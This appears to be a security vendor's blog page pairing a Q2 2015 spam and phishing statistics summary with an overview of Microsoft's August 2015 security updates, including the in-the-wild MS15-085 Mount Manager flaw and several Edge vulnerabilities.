In Q2 2015, the percentage of spam in email traffic accounted for 53.4%, a drop of 5.8 percentage points from the previous quarter.

In the second quarter the stories contained in “Nigerian” letters were based on real events: the upcoming Olympic Games in Rio de Janeiro, the presidential elections in Nigeria, as well as the earthquake in Nepal. Fraudsters lured the recipients not only by promising rewards or compensation, but by mentioning lottery wins and asking for a donation for the victims of the earthquake in Nepal.

The increase in the amount of SEO spam was caused by the release of the Google Search algorithm update. The purpose of the update was to raise the sites adapted to mobile phones to a higher position in mobile search results.

In the second quarter of 2015 the top three sources of spam were the USA (14.59%), Russia (7.82%) and China (7.14%).

Trojan-Spy.HTML.Fraud.gen topped the rating of malicious programs sent by email. If popular malware families, rather than specific malicious programs, are ranked, Upatre headed the Q2 rating. Germany (19.59%) was the quarter’s leader as the country most often targeted by mailshots.

Fraudsters continued to pass off attached malicious files as faxes and scans, Flash Player updates and business correspondence. They also continued to send out macro viruses in Word and Excel documents and they used CAB and ACE archives and APK files which are not typical for spam.

In Q2 2015, the Anti-Phishing system was triggered more than 30 million times on computers of Kaspersky Lab users. The largest percentage of users affected by phishing attacks was in Brazil, although the number fell by half from the previous quarter.

Microsoft Security Updates August 2015

Tue, 08/11/2015 - 18:44

Microsoft releases a new batch of fourteen security updates patching over fifty vulnerabilities today, with one of them known to be abused in targeted attacks. A large number of the vulnerabilities were reported by researchers from Google and their Project Zero, and HP’s Zero Day initiative. Meanwhile, a reflective discussion about the value of these offensive teams is laid out on offsec mailing lists.

Currently being exploited in-the-wild, MS15-085 “Vulnerability in Mount Manager Could Allow Elevation of Privilege”, enables an attacker to write out an executable to disk and run it from usb disk insertion. Exploitation is in use as a part of limited targeted attacks. Update installation and maintenance seems to be a large order here, as Microsoft includes a unique recommendation with it: “If you install a language pack after you install this update, you must reinstall this update.” Not only is “Mountmgr.sys” listed a few hundred times in this related knowledge base article, but over a hundred other files are touched with this larger update. And not only is Microsoft shipping code to close up the vulnerability, they are also shipping a new event for the event log, to identify related exploit attempts, “As part of the update, we are also shipping an event log to help defenders detect attempts to use this vulnerability on their systems”. Event ID 100: MountMgr “CVE-2015-1769″ will be logged by Windows for reference.

The new Edge web browser maintains three “memory corruption” vulnerabilities. Typically, when these arise in Microsoft’s web browsers, the flaws have been use-after-free problems. These memory corruption issues surprisingly enable remote code execution on Windows 10:
and one ASLR bypass issue. While the code base is smaller, faster, and newer than IE, these issues continue to crop up in their newest code.

More on Microsoft’s August 2015 Bulletins can be found here, please update your system asap.